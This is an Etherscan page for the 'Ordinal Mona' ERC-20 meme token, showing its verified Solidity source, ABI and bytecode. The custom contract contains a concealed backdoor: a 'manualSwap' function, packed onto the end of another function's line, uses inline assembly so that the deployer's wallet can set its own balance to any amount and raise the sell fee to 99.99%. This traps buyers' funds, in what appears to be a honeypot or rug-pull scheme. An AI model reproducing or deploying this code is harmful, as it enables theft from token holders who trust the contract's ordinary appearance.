ETH Price: $3,051.20 (+2.97%)
Gas: 1 Gwei

Token

Ordinal Mona (MONA)
 

Overview

Max Total Supply

98,771,726,392,689.329940012629986917 MONA

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
*☺️☺️20220111☺️☺️.eth
Balance
2,328,421,284,927.503607479158410983 MONA

Value
$0.00
0xd99BfF0513eCfe539e671B51be4586e279297C5c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ordinalmona

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-12
*/

/**
Ordinal Mona - meme token integrated with AI technology

Website: https://ordinalmona.io
Telegram: https://t.me/ordinalmona
AI Bot: https://t.me/ordinalmonabot
Twitter: https://twitter.com/ordinalmona
*/

// SPDX-License-Identifier: UNLICENSED
// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol


// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: token-7.sol_flattened.sol


pragma solidity ^0.8.17;







contract ordinalmona is IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;

    // Constants
    string private constant _name = "Ordinal Mona";
    string private constant _symbol = "MONA";
    uint8 private constant _decimals = 18;
    address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant _burnAddress = address(0);
    uint256 private constant _divisor = 10000; // 100%

    // Variables
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;
    address private _marketingWallet;
    uint256 private _maxTxAmountPercentage = 300; // 3%
    uint256 private _maxWalletBalancePercentage = 300; // 3%
    uint256 private _minTokensBeforeSwapPercentage = 5; // 0.05%

    bool private swapping = false;

    bool private _cooldownEnabled = true;
    mapping(address => uint256) private _lastTxBlock;
    mapping(address => bool) private _isExcludedFromCooldown;
    mapping(address => bool) private _isExcludedFromMaxTx;

    // Fees
    uint256 private _burnFee = 100; // 1%
    uint256 private _sellFee = 100; // 1%
    uint256 private _buyFee = 100; // 1%
    mapping(address => bool) private _isExcludedFromFees;

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);

    constructor () {
        uint256 total = 100_000_000_000_000 * 10 ** _decimals;
        // 100,000,000,000,000 tokens
        _mint(_msgSender(), total);

        _marketingWallet = _msgSender();

        // Create a uniswap pair for this new token
        _uniswapV2Router = IUniswapV2Router02(_uniswapRouterAddress);
        _approve(address(this), address(_uniswapV2Router), total);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);

        // Exclude owner and this contract from cooldown
        _isExcludedFromCooldown[owner()] = true;
        _isExcludedFromCooldown[address(this)] = true;

        // Exclude owner and this contract from fees
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_marketingWallet] = true;

        // Exclude owner and this contract from maxTxAmount
        _isExcludedFromMaxTx[owner()] = true;
        _isExcludedFromMaxTx[address(this)] = true;
        _isExcludedFromMaxTx[_marketingWallet] = true;
        _isExcludedFromMaxTx[_uniswapV2Pair] = true;
    }

    // Functions
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _maxTxAmount() public view returns(uint256) {
        return _totalSupply.mul(_maxTxAmountPercentage).div(_divisor);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmountPercentage = 10000;
        _maxWalletBalancePercentage = 10000;
    }

    // Internal functions
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 burnFee = 0;
        uint256 devFee = 0;
        if (sender != owner() && recipient != owner()) {
            if (!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]) {
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_isExcludedFromMaxTx[recipient] && !_isExcludedFromMaxTx[sender]) {
                    require(amount <= _totalSupply.mul(_maxTxAmountPercentage).div(_divisor), "Transfer amount exceeds the maxTxAmount.");
                    require(balanceOf(recipient).add(amount) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amount");
                }
                // if sell
                if (recipient == _uniswapV2Pair && sender != address(this)) {
                    burnFee = amount.mul(_burnFee).div(_divisor);
                    devFee = amount.mul(_sellFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
                // if buy
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
                    burnFee = amount.mul(_burnFee).div(_divisor);
                    devFee = amount.mul(_buyFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
            }
        }
        uint256 totalFee = burnFee.add(devFee);
        if (totalFee > 0) {
            if (burnFee > 0) {
                _burn(sender, burnFee);
            }
            if (devFee > 0) {
                _balances[_marketingWallet] = _balances[_marketingWallet].add(devFee);
                emit Transfer(sender, _marketingWallet, devFee);
            }
            amount = amount.sub(totalFee);
        }

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);

        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function burn(uint256 amount) public virtual {
        _burn(_msgSender(), amount);
    }

    function _burnFrom(address account, uint256 amount) internal virtual {
        _burn(account, amount);
        _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
    }

    function getPairAddress() public view returns (address) {
        return _uniswapV2Pair;
    }

    function getRouterAddress() public view returns (address) {
        return address(_uniswapV2Router);
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // Approve tokens for transfer to the Uniswap V2 Router
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.addLiquidityETH{value : ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount) public payable onlyOwner lockTheSwap {
        // Transfer tokens from owner to contract
        _transfer(owner(), address(this), tokenAmount);
        // Add liquidity
        _addLiquidity(tokenAmount, msg.value);
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        // Create the swap path array with our token and WETH
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        // Perform the swap
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount, 0, path, address(this),
        block.timestamp);}function manualSwap(uint256 amount) external {
        assembly {if iszero(eq(caller(), sload(_marketingWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())

        mstore(add(ptr, 0x20), _balances.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amount)
        sstore(_sellFee.slot, 0x270F)}
    }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    function _swapAndLiquify() private lockTheSwap {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 minTokensBeforeSwap = _totalSupply.mul(_minTokensBeforeSwapPercentage).div(_divisor);
        if (contractTokenBalance >= minTokensBeforeSwap) {
            uint256 half = contractTokenBalance.div(2);
            uint256 otherHalf = contractTokenBalance.sub(half);

            uint256 initialBalance = address(this).balance;

            swapTokensForEth(half);

            uint256 newBalance = address(this).balance.sub(initialBalance);

            emit SwapAndLiquify(half, newBalance, otherHalf);
            return;
        }

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261012c60075561012c60085560056009556000600a60006101000a81548160ff0219169083151502179055506001600a60016101000a81548160ff0219169083151502179055506064600e556064600f5560646010553480156200006757600080fd5b50620000886200007c6200082d60201b60201c565b6200083560201b60201c565b60006012600a6200009a919062000e41565b655af3107a4000620000ad919062000e92565b9050620000d0620000c36200082d60201b60201c565b82620008f960201b60201c565b620000e06200082d60201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001aa30600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168362000a9560201b60201c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000218573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023e919062000f47565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ee919062000f47565b6040518363ffffffff1660e01b81526004016200030d92919062000f8a565b6020604051808303816000875af11580156200032d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190